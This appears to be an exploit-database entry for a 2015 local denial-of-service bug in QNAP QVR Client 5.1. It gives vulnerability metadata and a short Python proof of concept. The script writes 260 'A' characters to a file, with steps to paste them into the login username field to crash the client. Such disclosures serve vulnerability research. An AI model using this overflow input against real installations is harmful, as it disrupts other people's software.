QNap QVR Client 5.1.0.11290 Crash PoC

vendor:

QVR Client

by:

Luis Martínez

7,5

CVSS

HIGH

Denial of Service (DoS) Local

CWE

Product Name: QVR Client

Affected Version From: 5.1

Affected Version To: 5.1

Patch Exists: NO

Related CWE: N/A

CPE: a:qnap:qvr_client

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 10 Pro x64 es

2015

QNap QVR Client 5.1.0.11290 Crash PoC

QNap QVR Client 5.1.0.11290 is vulnerable to a denial of service attack when a maliciously crafted string is sent to the 'Nombre de Usuario' field. This causes the application to crash.

Mitigation:

Ensure that user input is properly validated and sanitized before being used.

Source

Exploit-DB raw data:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title	: QNap QVR Client 5.1.0.11290 Crash PoC
# Discovery by	: Luis Martínez
# Email		: l4m5@hotmail.com
# Discovery Date	: 05/11/2015
# Vendor Homepage: http://www.qnapsecurity.com/n/en/
# Software Link	: http://download.qnap.com/Surveillance/Utility/QMon_20150630.zip
# Tested Version	: 5.1
# Vulnerability Type	: Denial of Service (DoS) Local
# Tested on OS	: Windows 10 Pro x64 es
# Steps to Produce the Crash: 
# 1.- Run python code : python qvr_client_5.1.py
# 2.- Open qvr_client_5.1.txt and copy content to clipboard
# 3.- Open QVR Client
# 4.- Direccion IP/Puerto -> 10.10.10.1 / 80
# 5.- Paste ClipBoard on "Nombre de Usuario"
# 6.- Contraseña -> test
# 7.- Aceptar
# 8.- Crashed

buffer = "\x41" * 260
f = open ("qvr_client_5.1.txt", "w")
f.write(buffer)
f.close()